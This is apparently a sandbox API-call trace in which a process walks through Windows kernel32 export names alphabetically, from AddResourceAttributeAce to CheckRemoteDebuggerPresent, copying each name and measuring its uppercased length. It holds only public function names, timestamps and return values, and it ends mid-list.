[0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0121.090] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0121.090] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0121.090] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0121.090] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0121.090] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0121.090] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0121.090] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0121.090] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0121.091] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0121.091] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0121.091] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0121.091] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0121.091] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0121.091] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0121.091] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0121.091] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0121.091] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0121.091] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0121.091] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0121.091] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0121.091] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0121.091] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0121.091] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0121.091] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0121.091] lstrlenA (lpString="BACKUPREAD") returned 10 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0121.091] lstrlenA (lpString="BACKUPSEEK") returned 10 [0121.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0121.092] lstrlenA (lpString="BACKUPWRITE") returned 11 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0121.092] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0121.092] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0121.092] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0121.092] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0121.092] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0121.092] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0121.092] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0121.092] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0121.092] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0121.092] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0121.092] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0121.092] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0121.092] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0121.092] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0121.092] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0121.092] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0121.092] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0121.092] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0121.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0121.093] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0121.093] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0121.093] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0121.093] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0121.093] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0121.093] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0121.093] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0121.093] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0121.093] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0121.093] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0121.093] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0121.093] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0121.093] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0121.093] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0121.093] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0121.093] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0121.093] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0121.093] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0121.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0121.093] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0121.094] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0121.094] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0121.094] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0121.094] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0121.094] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0121.094] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0121.094] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0121.094] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0121.094] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0121.094] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0121.094] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0121.094] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0121.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0121.095] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0121.095] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0121.095] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0121.095] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0121.095] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0121.095] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0121.095] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0121.095] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0121.095] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0121.095] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0121.095] lstrlenA (lpString="BEEP") returned 4 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0121.095] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0121.095] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0121.095] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0121.095] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0121.095] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0121.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0121.096] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0121.096] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0121.096] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0121.096] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0121.096] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0121.096] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0121.096] lstrlenA (lpString="CANCELIO") returned 8 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0121.096] lstrlenA (lpString="CANCELIOEX") returned 10 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0121.096] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0121.096] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0121.096] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0121.096] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0121.096] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0121.096] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0121.096] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0121.096] lstrlenA (lpString="CHECKELEVATION") returned 14 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0121.096] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0121.096] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0121.096] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0121.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0121.097] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0121.097] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0121.097] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 